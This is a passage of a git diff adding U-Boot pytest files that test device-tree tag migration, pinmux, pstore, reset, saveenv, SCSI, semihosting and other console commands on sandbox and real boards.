+ disable_migrate (bool): True to disable CONFIG_OF_TAG_MIGRATE in build
+ """
+ srcdir = cons.config.source_dir
+ build_dir = cons.config.build_dir
+
+ # Get the source for the existing dts
+ dt_dir = os.path.join(build_dir, 'arch', 'sandbox', 'dts')
+ orig_fname = os.path.join(dt_dir, 'sandbox.dtb')
+ out_dts = os.path.join(dt_dir, 'sandbox_out.dts')
+ util.run_and_log(cons, ['dtc', orig_fname, '-I', 'dtb', '-O', 'dts',
+ '-o', out_dts])
+
+ # Update it to use an old tag
+ with open(out_dts) as inf:
+ data = inf.read()
+ data = data.replace(*replace_pair)
+
+ dts_fname = os.path.join(dt_dir, 'sandbox_oldtag.dts')
+ with open(dts_fname, 'w') as outf:
+ print(data, file=outf)
+ dtb_fname = os.path.join(dt_dir, 'sandbox_oldtag.dtb')
+ util.run_and_log(cons, ['dtc', dts_fname, '-o', dtb_fname])
+
+ migrate = ['-a', '~CONFIG_OF_TAG_MIGRATE'] if disable_migrate else []
+
+ # Build sandbox with this new dtb, turning off OF_TAG_MIGRATE
+ env = dict(os.environ)
+ env['EXT_DTB'] = dtb_fname
+ env['DEVICE_TREE'] = 'sandbox_new'
+ env['NO_LTO'] = '1' # Speed up build
+ out = util.run_and_log(
+ cons, ['./tools/buildman/buildman', '-m', '--board', board,
+ *migrate, '-w', '-o', tmpdir], ignore_errors=True, env=env)
+ return out
+
+@pytest.mark.slow
+@pytest.mark.boardspec('sandbox')
+def test_of_no_migrate(u_boot_console):
+ """Test sandbox with old boot phase tags like u-boot,dm-pre-proper"""
+ cons = u_boot_console
+
+ build_for_migrate(cons, ['bootph-some-ram', 'u-boot,dm-pre-proper'],
+ 'sandbox', TMPDIR1)
+
+ # It should fail to run, since the lcd device will not be bound before
+ # relocation. so won't get its frame-buffer memory
+ out = util.run_and_log(
+ cons, [os.path.join(TMPDIR1, 'u-boot'), '-D', '-c', 'help'],
+ ignore_errors=True)
+ assert "Video device 'lcd' cannot allocate frame buffer memory" in out
+
+
+@pytest.mark.slow
+@pytest.mark.boardspec('sandbox_spl')
+@pytest.mark.boardspec('spl_of_platdata_inst')
+@pytest.mark.boardspec('!sandbox_tpl')
+def test_of_no_migrate_spl(u_boot_console):
+ """Test sandbox with old boot phase tags like u-boot,dm-spl"""
+ cons = u_boot_console
+
+ out = build_for_migrate(cons, ['bootph-pre-ram', 'u-boot,dm-spl'],
+ 'sandbox_spl', TMPDIR2)
+
+ # It should fail to build, since the SPL DT will not include 'spl-test'
+ # node, among others
+ assert "undefined type ‘struct dtd_sandbox_spl_test’" in out
+
+
+@pytest.mark.slow
+@pytest.mark.boardspec('sandbox')
+def test_of_migrate(u_boot_console):
+ """Test sandbox shows a message when tags were migrated"""
+ cons = u_boot_console
+
+ build_for_migrate(cons, ['bootph-some-ram', 'u-boot,dm-pre-proper'],
+ 'sandbox', TMPDIR3, disable_migrate=False)
+
+ # It should show a migration message
+ out = util.run_and_log(
+ cons, [os.path.join(TMPDIR3, 'u-boot'), '-D', '-c', 'help'],
+ ignore_errors=True)
+ assert "Warning: Device tree includes old 'u-boot,dm-' tags" in out
diff --git a/test/py/tests/test_ofplatdata.py b/test/py/tests/test_ofplatdata.py
new file mode 100644
index 00000000000..51a188454f3
--- /dev/null
+++ b/test/py/tests/test_ofplatdata.py
@@ -0,0 +1,23 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2016 Google, Inc
+
+import pytest
+import u_boot_utils as util
+
+@pytest.mark.boardspec('sandbox_spl')
+@pytest.mark.buildconfigspec('spl_of_platdata')
+def test_spl_devicetree(u_boot_console):
+ """Test content of spl device-tree"""
+ cons = u_boot_console
+ dtb = cons.config.build_dir + '/spl/u-boot-spl.dtb'
+ fdtgrep = cons.config.build_dir + '/tools/fdtgrep'
+ output = util.run_and_log(cons, [fdtgrep, '-l', dtb])
+
+ assert "bootph-all" not in output
+ assert "bootph-some-ram" not in output
+ assert "bootph-pre-ram" not in output
+ assert "bootph-pre-sram" not in output
+
+ assert "spl-test5" not in output
+ assert "spl-test6" not in output
+ assert "spl-test7" in output
diff --git a/test/py/tests/test_optee_rpmb.py b/test/py/tests/test_optee_rpmb.py
new file mode 100644
index 00000000000..8a081b5c494
--- /dev/null
+++ b/test/py/tests/test_optee_rpmb.py
@@ -0,0 +1,20 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Tests for OP-TEE RPMB read/write support
+
+"""
+This tests optee_rpmb cmd in U-Boot
+"""
+
+import pytest
+import u_boot_utils as util
+
+@pytest.mark.buildconfigspec('cmd_optee_rpmb')
+def test_optee_rpmb_read_write(u_boot_console):
+ """Test OP-TEE RPMB cmd read/write
+ """
+ response = u_boot_console.run_command('optee_rpmb write_pvalue test_variable test_value')
+ assert response == 'Wrote 11 bytes'
+
+ response = u_boot_console.run_command('optee_rpmb read_pvalue test_variable 11')
+ assert response == 'Read 11 bytes, value = test_value' \ No newline at end of file
diff --git a/test/py/tests/test_part.py b/test/py/tests/test_part.py
new file mode 100644
index 00000000000..2b5184654db
--- /dev/null
+++ b/test/py/tests/test_part.py
@@ -0,0 +1,14 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020
+# Niel Fourie, DENX Software Engineering, lusus@denx.de
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.buildconfigspec('partitions')
+@pytest.mark.buildconfigspec('efi_partition')
+def test_part_types(u_boot_console):
+ """Test that `part types` prints a result which includes `EFI`."""
+ output = u_boot_console.run_command('part types')
+ assert "Supported partition tables:" in output
+ assert "EFI" in output
diff --git a/test/py/tests/test_pinmux.py b/test/py/tests/test_pinmux.py
new file mode 100644
index 00000000000..794994e12d1
--- /dev/null
+++ b/test/py/tests/test_pinmux.py
@@ -0,0 +1,85 @@
+# SPDX-License-Identifier: GPL-2.0
+
+import pytest
+import u_boot_utils
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+def test_pinmux_usage_1(u_boot_console):
+ """Test that 'pinmux' command without parameters displays
+ pinmux usage."""
+ output = u_boot_console.run_command('pinmux')
+ assert 'Usage:' in output
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+def test_pinmux_usage_2(u_boot_console):
+ """Test that 'pinmux status' executed without previous "pinmux dev"
+ command displays error message."""
+ output = u_boot_console.run_command('pinmux status')
+ assert 'pin-controller device not selected' in output
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+@pytest.mark.boardspec('sandbox')
+def test_pinmux_status_all(u_boot_console):
+ """Test that 'pinmux status -a' displays pin's muxing."""
+ output = u_boot_console.run_command('pinmux status -a')
+
+ assert ('pinctrl-gpio:' in output)
+ assert ('a5 : gpio output .' in output)
+ assert ('a6 : gpio output .' in output)
+
+ assert ('pinctrl:' in output)
+ assert ('P0 : UART TX.' in output)
+ assert ('P1 : UART RX.' in output)
+ assert ('P2 : I2S SCK.' in output)
+ assert ('P3 : I2S SD.' in output)
+ assert ('P4 : I2S WS.' in output)
+ assert ('P5 : GPIO0 bias-pull-up input-disable.' in output)
+ assert ('P6 : GPIO1 drive-open-drain.' in output)
+ assert ('P7 : GPIO2 bias-pull-down input-enable.' in output)
+ assert ('P8 : GPIO3 bias-disable.' in output)
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+@pytest.mark.boardspec('sandbox')
+def test_pinmux_list(u_boot_console):
+ """Test that 'pinmux list' returns the pin-controller list."""
+ output = u_boot_console.run_command('pinmux list')
+ assert 'sandbox_pinctrl' in output
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+def test_pinmux_dev_bad(u_boot_console):
+ """Test that 'pinmux dev' returns an error when trying to select a
+ wrong pin controller."""
+ pincontroller = 'bad_pin_controller_name'
+ output = u_boot_console.run_command('pinmux dev ' + pincontroller)
+ expected_output = 'Can\'t get the pin-controller: ' + pincontroller + '!'
+ assert (expected_output in output)
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+@pytest.mark.boardspec('sandbox')
+def test_pinmux_dev(u_boot_console):
+ """Test that 'pinmux dev' select the wanted pin controller."""
+ pincontroller = 'pinctrl'
+ output = u_boot_console.run_command('pinmux dev ' + pincontroller)
+ expected_output = 'dev: ' + pincontroller
+ assert (expected_output in output)
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+@pytest.mark.boardspec('sandbox')
+def test_pinmux_status(u_boot_console):
+ """Test that 'pinmux status' displays selected pincontroller's pin
+ muxing descriptions."""
+ u_boot_console.run_command('pinmux dev pinctrl')
+ output = u_boot_console.run_command('pinmux status')
+
+ assert (not 'pinctrl-gpio:' in output)
+ assert (not 'pinctrl:' in output)
+
+ assert ('P0 : UART TX.' in output)
+ assert ('P1 : UART RX.' in output)
+ assert ('P2 : I2S SCK.' in output)
+ assert ('P3 : I2S SD.' in output)
+ assert ('P4 : I2S WS.' in output)
+ assert ('P5 : GPIO0 bias-pull-up input-disable.' in output)
+ assert ('P6 : GPIO1 drive-open-drain.' in output)
+ assert ('P7 : GPIO2 bias-pull-down input-enable.' in output)
+ assert ('P8 : GPIO3 bias-disable.' in output)
diff --git a/test/py/tests/test_pstore.py b/test/py/tests/test_pstore.py
new file mode 100644
index 00000000000..5a35724f60a
--- /dev/null
+++ b/test/py/tests/test_pstore.py
@@ -0,0 +1,77 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2020, Collabora
+# Author: Frédéric Danis <frederic.danis@collabora.com>
+
+import pytest
+import u_boot_utils
+import os
+import tempfile
+import shutil
+
+PSTORE_ADDR=0x3000000
+PSTORE_LENGTH=0x100000
+PSTORE_PANIC1='test/py/tests/test_pstore_data_panic1.hex'
+PSTORE_PANIC2='test/py/tests/test_pstore_data_panic2.hex'
+PSTORE_CONSOLE='test/py/tests/test_pstore_data_console.hex'
+ADDR=0x01000008
+
+def load_pstore(u_boot_console):
+ """Load PStore records from sample files"""
+
+ output = u_boot_console.run_command_list([
+ 'host load hostfs - 0x%x %s' % (PSTORE_ADDR,
+ os.path.join(u_boot_console.config.source_dir, PSTORE_PANIC1)),
+ 'host load hostfs - 0x%x %s' % (PSTORE_ADDR + 4096,
+ os.path.join(u_boot_console.config.source_dir, PSTORE_PANIC2)),
+ 'host load hostfs - 0x%x %s' % (PSTORE_ADDR + 253 * 4096,
+ os.path.join(u_boot_console.config.source_dir, PSTORE_CONSOLE)),
+ 'pstore set 0x%x 0x%x' % (PSTORE_ADDR, PSTORE_LENGTH)])
+
+def checkfile(u_boot_console, path, filesize, checksum):
+ """Check file against MD5 checksum"""
+
+ output = u_boot_console.run_command_list([
+ 'load hostfs - %x %s' % (ADDR, path),
+ 'printenv filesize'])
+ assert('filesize=%x' % (filesize) in ''.join(output))
+
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(checksum in ''.join(output))
+
+@pytest.mark.buildconfigspec('cmd_pstore')
+def test_pstore_display_all_records(u_boot_console):
+ """Test that pstore displays all records."""
+
+ u_boot_console.run_command('')
+ load_pstore(u_boot_console)
+ response = u_boot_console.run_command('pstore display')
+ assert('**** Dump' in response)
+ assert('**** Console' in response)
+
+@pytest.mark.buildconfigspec('cmd_pstore')
+def test_pstore_display_one_record(u_boot_console):
+ """Test that pstore displays only one record."""
+
+ u_boot_console.run_command('')
+ load_pstore(u_boot_console)
+ response = u_boot_console.run_command('pstore display dump 1')
+ assert('Panic#2 Part1' in response)
+ assert('**** Console' not in response)
+
+@pytest.mark.buildconfigspec('cmd_pstore')
+def test_pstore_save_records(u_boot_console):
+ """Test that pstore saves all records."""
+
+ outdir = tempfile.mkdtemp()
+
+ u_boot_console.run_command('')
+ load_pstore(u_boot_console)
+ u_boot_console.run_command('pstore save hostfs - %s' % (outdir))
+
+ checkfile(u_boot_console, '%s/dmesg-ramoops-0' % (outdir), 3798, '8059335ab4cfa62c77324c491659c503')
+ checkfile(u_boot_console, '%s/dmesg-ramoops-1' % (outdir), 4035, '3ff30df3429d81939c75d0070b5187b9')
+ checkfile(u_boot_console, '%s/console-ramoops-0' % (outdir), 4084, 'bb44de4a9b8ebd9b17ae98003287325b')
+
+ shutil.rmtree(outdir)
diff --git a/test/py/tests/test_pstore_data_console.hex b/test/py/tests/test_pstore_data_console.hex
new file mode 100644
index 00000000000..e7f426e8928
--- /dev/null
+++ b/test/py/tests/test_pstore_data_console.hex
Binary files differ
diff --git a/test/py/tests/test_pstore_data_panic1.hex b/test/py/tests/test_pstore_data_panic1.hex
new file mode 100644
index 00000000000..988929d12c2
--- /dev/null
+++ b/test/py/tests/test_pstore_data_panic1.hex
Binary files differ
diff --git a/test/py/tests/test_pstore_data_panic2.hex b/test/py/tests/test_pstore_data_panic2.hex
new file mode 100644
index 00000000000..8f9d56cbe01
--- /dev/null
+++ b/test/py/tests/test_pstore_data_panic2.hex
Binary files differ
diff --git a/test/py/tests/test_qfw.py b/test/py/tests/test_qfw.py
new file mode 100644
index 00000000000..8b668c9721a
--- /dev/null
+++ b/test/py/tests/test_qfw.py
@@ -0,0 +1,26 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2021, Asherah Connor <ashe@kivikakk.ee>
+
+# Test qfw command implementation
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_qfw')
+def test_qfw_cpus(u_boot_console):
+ "Test QEMU firmware config reports the CPU count."
+
+ output = u_boot_console.run_command('qfw cpus')
+ # The actual number varies depending on the board under test, so only
+ # assert a non-zero output.
+ assert 'cpu(s) online' in output
+ assert '0 cpu(s) online' not in output
+
+@pytest.mark.buildconfigspec('cmd_qfw')
+def test_qfw_list(u_boot_console):
+ "Test QEMU firmware config lists devices."
+
+ output = u_boot_console.run_command('qfw list')
+ # Assert either:
+ # 1) 'test-one', from the sandbox driver, or
+ # 2) 'bootorder', found in every real QEMU implementation.
+ assert ("bootorder" in output) or ("test-one" in output)
diff --git a/test/py/tests/test_reset.py b/test/py/tests/test_reset.py
new file mode 100644
index 00000000000..00fc31da57d
--- /dev/null
+++ b/test/py/tests/test_reset.py
@@ -0,0 +1,63 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+"""
+Note: This test doesn't rely on boardenv_* configuration value but they can
+change test behavior.
+
+For example:
+
+# Setup env__reset_test_skip to True if reset test is not possible or desired
+# and should be skipped.
+env__reset_test_skip = True
+
+# Setup env__reset_test to set the bootmode if 'modeboot' u-boot environment
+# variable is not set. Test will be skipped if bootmode is not set in both
+# places i.e, boardenv and modeboot u-boot environment variable
+env__reset_test = {
+ 'bootmode': 'qspiboot',
+}
+
+# This test will be also skipped if the bootmode is detected to JTAG.
+"""
+
+import pytest
+import test_000_version
+
+def setup_reset_env(u_boot_console):
+ if u_boot_console.config.env.get('env__reset_test_skip', False):
+ pytest.skip('reset test is not enabled')
+
+ output = u_boot_console.run_command('echo $modeboot')
+ if output:
+ bootmode = output
+ else:
+ f = u_boot_console.config.env.get('env__reset_test', None)
+ if not f:
+ pytest.skip('bootmode cannot be determined')
+ bootmode = f.get('bootmode', 'jtagboot')
+
+ if 'jtag' in bootmode:
+ pytest.skip('skipping reset test due to jtag bootmode')
+
+@pytest.mark.buildconfigspec('hush_parser')
+def test_reset(u_boot_console):
+ """Test the reset command in non-JTAG bootmode.
+ It does COLD reset, which resets CPU, DDR and peripherals
+ """
+ setup_reset_env(u_boot_console)
+ u_boot_console.run_command('reset', wait_for_reboot=True)
+
+ # Checks the u-boot command prompt's functionality after reset
+ test_000_version.test_version(u_boot_console)
+
+@pytest.mark.buildconfigspec('hush_parser')
+def test_reset_w(u_boot_console):
+ """Test the reset -w command in non-JTAG bootmode.
+ It does WARM reset, which resets CPU but keep DDR/peripherals active.
+ """
+ setup_reset_env(u_boot_console)
+ u_boot_console.run_command('reset -w', wait_for_reboot=True)
+
+ # Checks the u-boot command prompt's functionality after reset
+ test_000_version.test_version(u_boot_console)
diff --git a/test/py/tests/test_sandbox_exit.py b/test/py/tests/test_sandbox_exit.py
new file mode 100644
index 00000000000..706f5fa3594
--- /dev/null
+++ b/test/py/tests/test_sandbox_exit.py
@@ -0,0 +1,45 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+import pytest
+import signal
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('sysreset_cmd_poweroff')
+def test_poweroff(u_boot_console):
+ """Test that the "poweroff" command exits sandbox process."""
+
+ u_boot_console.run_command('poweroff', wait_for_prompt=False)
+ assert(u_boot_console.validate_exited())
+
+@pytest.mark.boardspec('sandbox')
+def test_ctrl_c(u_boot_console):
+ """Test that sending SIGINT to sandbox causes it to exit."""
+
+ u_boot_console.kill(signal.SIGINT)
+ assert(u_boot_console.validate_exited())
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_exception')
+@pytest.mark.buildconfigspec('sandbox_crash_reset')
+def test_exception_reset(u_boot_console):
+ """Test that SIGILL causes a reset."""
+
+ u_boot_console.run_command('exception undefined', wait_for_prompt=False)
+ m = u_boot_console.p.expect(['resetting ...', 'U-Boot'])
+ if m != 0:
+ raise Exception('SIGILL did not lead to reset')
+ m = u_boot_console.p.expect(['U-Boot', '=>'])
+ if m != 0:
+ raise Exception('SIGILL did not lead to reset')
+ u_boot_console.restart_uboot()
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_exception')
+@pytest.mark.notbuildconfigspec('sandbox_crash_reset')
+def test_exception_exit(u_boot_console):
+ """Test that SIGILL causes a reset."""
+
+ u_boot_console.run_command('exception undefined', wait_for_prompt=False)
+ assert(u_boot_console.validate_exited())
diff --git a/test/py/tests/test_sandbox_opts.py b/test/py/tests/test_sandbox_opts.py
new file mode 100644
index 00000000000..422b43cb3bc
--- /dev/null
+++ b/test/py/tests/test_sandbox_opts.py
@@ -0,0 +1,30 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright 2022 Google LLC
+# Written by Simon Glass <sjg@chromium.org>
+
+import pytest
+
+import u_boot_utils as util
+
+# This is needed for Azure, since the default '..' directory is not writeable
+TMPDIR = '/tmp/test_cmdline'
+
+@pytest.mark.slow
+@pytest.mark.boardspec('sandbox')
+def test_sandbox_cmdline(u_boot_console):
+ """Test building sandbox without CONFIG_CMDLINE"""
+ cons = u_boot_console
+
+ out = util.run_and_log(
+ cons, ['./tools/buildman/buildman', '-m', '--board', 'sandbox',
+ '-a', '~CMDLINE', '-o', TMPDIR])
+
+@pytest.mark.slow
+@pytest.mark.boardspec('sandbox')
+def test_sandbox_lto(u_boot_console):
+ """Test building sandbox without CONFIG_LTO"""
+ cons = u_boot_console
+
+ out = util.run_and_log(
+ cons, ['./tools/buildman/buildman', '-m', '--board', 'sandbox',
+ '-a', '~LTO', '-o', TMPDIR])
diff --git a/test/py/tests/test_saveenv.py b/test/py/tests/test_saveenv.py
new file mode 100644
index 00000000000..7faa3bdf93d
--- /dev/null
+++ b/test/py/tests/test_saveenv.py
@@ -0,0 +1,137 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+"""
+Note: This test doesn't rely on boardenv_* configuration value but they can
+change test behavior.
+
+For example:
+
+# Setup env__saveenv_test_skip to True if saveenv test is not possible or
+# desired and should be skipped.
+env__saveenv_test_skip = True
+
+# Setup env__saveenv_test to set the bootmode if 'modeboot' u-boot environment
+# variable is not set. Test will be skipped if bootmode is not set in both
+# places i.e, boardenv and modeboot u-boot environment variable
+env__saveenv_test = {
+ 'bootmode': 'qspiboot',
+}
+
+# This test will be also skipped if the bootmode is detected to JTAG.
+"""
+
+import pytest
+import random
+import ipaddress
+import string
+import uuid
+
+# Setup the env
+def setup_saveenv_env(u_boot_console):
+ if u_boot_console.config.env.get('env__saveenv_test_skip', False):
+ pytest.skip('saveenv test is not enabled')
+
+ output = u_boot_console.run_command('echo $modeboot')
+ if output:
+ bootmode = output
+ else:
+ f = u_boot_console.config.env.get('env__saveenv_test', None)
+ if not f:
+ pytest.skip('bootmode cannot be determined')
+ bootmode = f.get('bootmode', 'jtagboot')
+
+ if 'jtag' in bootmode:
+ pytest.skip('skipping saveenv test due to jtag bootmode')
+
+# Check return code
+def ret_code(u_boot_console):
+ return u_boot_console.run_command('echo $?')
+
+# Verify env variable
+def check_env(u_boot_console, var_name, var_value):
+ if var_value:
+ output = u_boot_console.run_command(f'printenv {var_name}')
+ var_value = str(var_value)
+ if (var_value.startswith("'") and var_value.endswith("'")) or (
+ var_value.startswith('"') and var_value.endswith('"')
+ ):
+ var_value = var_value.split(var_value[-1])[1]
+ assert var_value in output
+ assert ret_code(u_boot_console).endswith('0')
+ else:
+ u_boot_console.p.send(f'printenv {var_name}\n')
+ output = u_boot_console.p.expect(['not defined'])
+ assert output == 0
+ assert ret_code(u_boot_console).endswith('1')
+
+# Set env variable
+def set_env(u_boot_console, var_name, var_value):
+ u_boot_console.run_command(f'setenv {var_name} {var_value}')
+ assert ret_code(u_boot_console).endswith('0')
+ check_env(u_boot_console, var_name, var_value)
+
+@pytest.mark.buildconfigspec('cmd_saveenv')
+@pytest.mark.buildconfigspec('hush_parser')
+def test_saveenv(u_boot_console):
+ """Test the saveenv command in non-JTAG bootmode.
+ It saves the U-Boot environment in persistent storage.
+ """
+ setup_saveenv_env(u_boot_console)
+
+ # Set env for random mac address
+ rand_mac = '%02x:%02x:%02x:%02x:%02x:%02x' % (
+ random.randint(0, 255),
+ random.randint(0, 255),
+ random.randint(0, 255),
+ random.randint(0, 255),
+ random.randint(0, 255),
+ random.randint(0, 255),
+ )
+ set_env(u_boot_console, 'mac_addr', rand_mac)
+
+ # Set env for random IPv4 address
+ rand_ipv4 = ipaddress.IPv4Address._string_from_ip_int(
+ random.randint(0, ipaddress.IPv4Address._ALL_ONES)
+ )
+ set_env(u_boot_console, 'ipv4_addr', rand_ipv4)
+
+ # Set env for random IPv6 address
+ rand_ipv6 = ipaddress.IPv6Address._string_from_ip_int(
+ random.randint(0, ipaddress.IPv6Address._ALL_ONES)
+ )
+ set_env(u_boot_console, 'ipv6_addr', rand_ipv6)
+
+ # Set env for random number
+ rand_num = random.randrange(1, 10**9)
+ set_env(u_boot_console, 'num_var', rand_num)
+
+ # Set env for uuid
+ uuid_str = uuid.uuid4().hex.lower()
+ set_env(u_boot_console, 'uuid_var', uuid_str)
+
+ # Set env for random string including special characters
+ sc = "!#%&()*+,-./:;<=>?@[\\]^_`{|}~"
+ rand_str = ''.join(
+ random.choices(' ' + string.ascii_letters + sc + string.digits, k=300)
+ )
+ set_env(u_boot_console, 'str_var', f'"{rand_str}"')
+
+ # Set env for empty string
+ set_env(u_boot_console, 'empty_var', '')
+
+ # Save the env variables
+ u_boot_console.run_command('saveenv')
+ assert ret_code(u_boot_console).endswith('0')
+
+ # Reboot
+ u_boot_console.run_command('reset', wait_for_reboot=True)
+
+ # Verify the saved env variables
+ check_env(u_boot_console, 'mac_addr', rand_mac)
+ check_env(u_boot_console, 'ipv4_addr', rand_ipv4)
+ check_env(u_boot_console, 'ipv6_addr', rand_ipv6)
+ check_env(u_boot_console, 'num_var', rand_num)
+ check_env(u_boot_console, 'uuid_var', uuid_str)
+ check_env(u_boot_console, 'str_var', rand_str)
+ check_env(u_boot_console, 'empty_var', '')
diff --git a/test/py/tests/test_scp03.py b/test/py/tests/test_scp03.py
new file mode 100644
index 00000000000..1a104b365f7
--- /dev/null
+++ b/test/py/tests/test_scp03.py
@@ -0,0 +1,27 @@
+# Copyright (c) 2021 Foundries.io Ltd
+#
+# SPDX-License-Identifier: GPL-2.0+
+#
+# SCP03 command test
+
+"""
+This tests SCP03 command in U-Boot.
+
+For additional details check doc/usage/scp03.rst
+"""
+
+import pytest
+import u_boot_utils as util
+
+@pytest.mark.buildconfigspec('cmd_scp03')
+def test_scp03(u_boot_console):
+ """Enable and provision keys with SCP03
+ """
+
+ success_str1 = "SCP03 is enabled"
+ success_str2 = "SCP03 is provisioned"
+
+ response = u_boot_console.run_command('scp03 enable')
+ assert success_str1 in response
+ response = u_boot_console.run_command('scp03 provision')
+ assert success_str2 in response
diff --git a/test/py/tests/test_scsi.py b/test/py/tests/test_scsi.py
new file mode 100644
index 00000000000..445693cafd7
--- /dev/null
+++ b/test/py/tests/test_scsi.py
@@ -0,0 +1,92 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+the SCSI device number, type and capacity. This test will be automatically
+skipped without this.
+
+For example:
+
+# Setup env__scsi_device_test to set the SCSI device number/slot, the type of
+device, and the device capacity in MB.
+env__scsi_device_test = {
+ 'dev_num': 0,
+ 'device_type': 'Hard Disk',
+ 'device_capacity': '476940.0 MB',
+}
+"""
+
+def scsi_setup(u_boot_console):
+ f = u_boot_console.config.env.get('env__scsi_device_test', None)
+ if not f:
+ pytest.skip('No SCSI device to test')
+
+ dev_num = f.get('dev_num', None)
+ if not isinstance(dev_num, int):
+ pytest.skip('No device number specified in env file to read')
+
+ dev_type = f.get('device_type')
+ if not dev_type:
+ pytest.skip('No device type specified in env file to read')
+
+ dev_size = f.get('device_capacity')
+ if not dev_size:
+ pytest.skip('No device capacity specified in env file to read')
+
+ return dev_num, dev_type, dev_size
+
+@pytest.mark.buildconfigspec('cmd_scsi')
+def test_scsi_reset(u_boot_console):
+ dev_num, dev_type, dev_size = scsi_setup(u_boot_console)
+ output = u_boot_console.run_command('scsi reset')
+ assert f'Device {dev_num}:' in output
+ assert f'Type: {dev_type}' in output
+ assert f'Capacity: {dev_size}' in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_scsi')
+def test_scsi_info(u_boot_console):
+ dev_num, dev_type, dev_size = scsi_setup(u_boot_console)
+ output = u_boot_console.run_command('scsi info')
+ assert f'Device {dev_num}:' in output
+ assert f'Type: {dev_type}' in output
+ assert f'Capacity: {dev_size}' in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_scsi')
+def test_scsi_scan(u_boot_console):
+ dev_num, dev_type, dev_size = scsi_setup(u_boot_console)
+ output = u_boot_console.run_command('scsi scan')
+ assert f'Device {dev_num}:' in output
+ assert f'Type: {dev_type}' in output
+ assert f'Capacity: {dev_size}' in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_scsi')
+def test_scsi_dev(u_boot_console):
+ dev_num, dev_type, dev_size = scsi_setup(u_boot_console)
+ output = u_boot_console.run_command('scsi device')
+ assert 'no scsi devices available' not in output
+ assert f'device {dev_num}:' in output
+ assert f'Type: {dev_type}' in output
+ assert f'Capacity: {dev_size}' in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+ output = u_boot_console.run_command('scsi device %d' % dev_num)
+ assert 'is now current device' in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_scsi')
+def test_scsi_part(u_boot_console):
+ test_scsi_dev(u_boot_console)
+ output = u_boot_console.run_command('scsi part')
+ assert 'Partition Map for scsi device' in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
diff --git a/test/py/tests/test_semihosting/conftest.py b/test/py/tests/test_semihosting/conftest.py
new file mode 100644
index 00000000000..b00d8f4ea9c
--- /dev/null
+++ b/test/py/tests/test_semihosting/conftest.py
@@ -0,0 +1,23 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+"""Fixture for semihosting command test
+"""
+
+import os
+import pytest
+
+@pytest.fixture(scope='session')
+def semihosting_data(u_boot_config):
+ """Set up a file system to be used in semihosting tests
+
+ Args:
+ u_boot_config -- U-Boot configuration.
+ """
+ image_path = u_boot_config.persistent_data_dir + '/semihosting.txt'
+
+ with open(image_path, 'w', encoding = 'utf-8') as file:
+ file.write('Das U-Boot\n')
+
+ yield image_path
+
+ os.remove(image_path)
diff --git a/test/py/tests/test_semihosting/test_hostfs.py b/test/py/tests/test_semihosting/test_hostfs.py
new file mode 100644
index 00000000000..51f6fa7702c
--- /dev/null
+++ b/test/py/tests/test_semihosting/test_hostfs.py
@@ -0,0 +1,33 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+""" Unit test for semihosting
+"""
+
+import pytest
+
+@pytest.mark.buildconfigspec('semihosting')
+def test_semihosting_hostfs(u_boot_console, semihosting_data):
+ """ Unit test for semihosting
+
+ Args:
+ u_boot_console -- U-Boot console
+ semihosting_data -- Path to the disk image used for testing.
+ """
+ response = u_boot_console.run_command(
+ f'load hostfs - $loadaddr {semihosting_data}')
+ assert '11 bytes read' in response
+
+ response = u_boot_console.run_command(
+ 'crc32 $loadaddr $filesize')
+ assert '==> 60cfccfc' in response
+
+ u_boot_console.run_command(
+ f'save hostfs - $loadaddr {semihosting_data} 11 11')
+
+ response = u_boot_console.run_command(
+ f'load hostfs - $loadaddr {semihosting_data} 4 13')
+ assert '4 bytes read' in response
+
+ response = u_boot_console.run_command(
+ 'crc32 $loadaddr $filesize')
+ assert '==> e29063ea' in response
diff --git a/test/py/tests/test_sf.py b/test/py/tests/test_sf.py
new file mode 100644
index 00000000000..adf8b7dc893
--- /dev/null
+++ b/test/py/tests/test_sf.py
@@ -0,0 +1,217 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, Xilinx Inc. Michal Simek
+# Copyright (c) 2017, Xiphos Systems Corp. All rights reserved.
+
+import re
+import pytest
+import random
+import u_boot_utils
+
+"""
